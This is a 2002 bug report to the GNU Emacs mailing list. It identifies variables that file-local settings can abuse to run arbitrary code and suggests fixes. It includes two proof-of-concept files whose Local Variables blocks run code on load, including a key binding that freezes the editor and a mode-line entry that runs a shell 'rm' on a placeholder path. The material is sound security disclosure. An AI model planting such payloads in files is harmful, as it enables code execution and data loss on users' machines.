From mboxrd@z Thu Jan 1 00:00:00 1970 Path: main.gmane.org!not-for-mail From: Jonathan Yavner Newsgroups: gmane.emacs.bugs Subject: Security holes in risky-local-variable system Date: Tue, 26 Mar 2002 23:22:43 -0500 Sender: bug-gnu-emacs-admin@gnu.org Message-ID: <3CA14913.8396AD01@comcast.net> NNTP-Posting-Host: localhost.gmane.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7BIT X-Trace: main.gmane.org 1017203055 22324 127.0.0.1 (27 Mar 2002 04:24:15 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Wed, 27 Mar 2002 04:24:15 +0000 (UTC) Original-Received: from fencepost.gnu.org ([199.232.76.164]) by main.gmane.org with esmtp (Exim 3.33 #1 (Debian)) id 16q4yt-0005nx-00 for ; Wed, 27 Mar 2002 05:24:15 +0100 Original-Received: from localhost ([127.0.0.1] helo=fencepost.gnu.org) by fencepost.gnu.org with esmtp (Exim 3.34 #1 (Debian)) id 16q4yr-0003OV-00; Tue, 26 Mar 2002 23:24:13 -0500 Original-Received: from smtp.comcast.net ([24.153.64.2]) by fencepost.gnu.org with esmtp (Exim 3.34 #1 (Debian)) id 16q4wX-0003DA-00 for ; Tue, 26 Mar 2002 23:21:49 -0500 Original-Received: from comcast.net (pcp110100pcs.wchryh01.nj.comcast.net [68.45.81.246]) by mtaout04.icomcast.net (iPlanet Messaging Server 5.1 (built Feb 6 2002)) with ESMTP id <0GTM00I3H6SC7X@mtaout04.icomcast.net> for bug-gnu-emacs@gnu.org; Tue, 26 Mar 2002 23:21:48 -0500 (EST) Original-To: bug-gnu-emacs@gnu.org X-Mailer: Mozilla 4.74 [en]C-AtHome0407 (Win98; U) X-Accept-Language: en Errors-To: bug-gnu-emacs-admin@gnu.org X-BeenThere: bug-gnu-emacs@gnu.org X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: Bug reports for GNU Emacs, the Swiss army knife of text editors List-Unsubscribe: , List-Archive: Xref: main.gmane.org gmane.emacs.bugs:218 X-Report-Spam: http://spam.gmane.org/gmane.emacs.bugs:218 [Reposted using preferred delivery protocol; also fix to test file #1] Version: GNU Emacs 21.1.1 (i386-msvc-windows98.1998) The following variables are risky and should have the risky-local-variable attribute: auto-mode-alist minor-mode-overriding-map-alist overriding-local-map Any of these could be used in the "Local Variables" area of a file in order to create a Trojan horse; see test files below. Another Trojan-horse method uses the frame parameter `buffer-predicate', so any variable that defines frame parameters is risky: default-frame-alist initial-frame-alist pop-up-frame-alist special-display-buffer-names special-display-frame-alist The font-lock system uses callback functions, so its variables are risky if global-font-lock-mode is enabled. Also, the font-lock initialization will happily set any variable for you, even those with the risky-local-variable property: font-lock-defaults font-lock-keywords font-lock-syntactic-keywords Because display properties can contain forms to be evaluated later, any variable containing text that might be inserted into a buffer is risky. Examples: buffer-undo-list default-directory default-text-properties I'm sure of these (see test files below), but there could be many others. Perhaps what's needed is a variable "display-eval-enable" default nil, with risky-local-variable property? Such a variable would close this entire loophole, except in modes that really want it. Because of the :eval keyword, any variable used for mode-line formatting is also risky. Examples: frame-title-format, global-mode-string, header-line-format, icon-title-format, input-method-alist, minor-mode-alist, mode-line-buffer-identification, mode-line-format, mode-line-frame-identification, mode-line-modified, mode-line-mule-info, mode-line-process, vc-mode How about a new variable "mode-line-eval-enable", with risky-local-variable property, default '(mode-line-mode-name), which would be a list of functions that :eval would accept, or t to accept everything? !!The following test files are dangerous. Read them before loading!! Test file #1: (give it the filename "x", change "$" below to ":", save, and reload) ..........snip here................................................... For a moment's amusement, load this file and immediately type C-c r a s h Maximize your enjoyment by not saving your other buffers first! Other fun things to try: C-_ C-x C-f x RET C-x k RET ;;; Local Variables$ ;;; inhibit-quit: t ;;; overriding-local-map: (keymap (3 . (lambda () (interactive) (while 1)))) ;;; buffer-undo-list: (nil (#("Fun" 0 3 (display (height (progn (message "@buffer-undo-list") 2)))) . 1)) ;;; default-directory: #("/tmp/" 0 5 (display (height (progn (message "@default-directory") 2)))) ;;; mode-line-format: (:eval (progn (shell-command "rm /UNLIKELY/FILENAME*") "@mode-line-format")) ;;; End: ..........snip here................................................... Test file #2: (call it "y.el", enable global-font-lock first, change "$" below to ":", save and reload) ..........snip here................................................... Some fun things to try: C-a C-\ C-x C-w y RET C-x 5 2 C-x b RET ;;; Local Variables$ ;;; auto-mode-alist: (("." . (lambda () (message "@auto-mode-alist")))) ;;; default-frame-alist: ((buffer-predicate . (lambda (x) (message "@default-frame-alist")))) ;;; font-lock-defaults: (((eval . (message "@font-lock-defaults#1"))) nil nil nil (lambda (&rest x) (message "@font-lock-defaults#2")) (load-path "@font-lock-defaults#3/")) ;;; mode: Outline-minor ;;; minor-mode-overriding-map-alist: ((outline-minor-mode keymap (1 . (lambda () (interactive) (error "@minor-mode-overriding-map-alist"))))) ;;; default-text-properties: (display (height (progn (message "@default-text-properties") 0.5))) ;;; header-line-format: (:eval (message "@header-line-format")) ;;; input-method-alist: (("latin-1-prefix" "English" (lambda (x) (message "@input-method-alist")) "@" "Making trouble")) ;;; End: .........snip here...................................................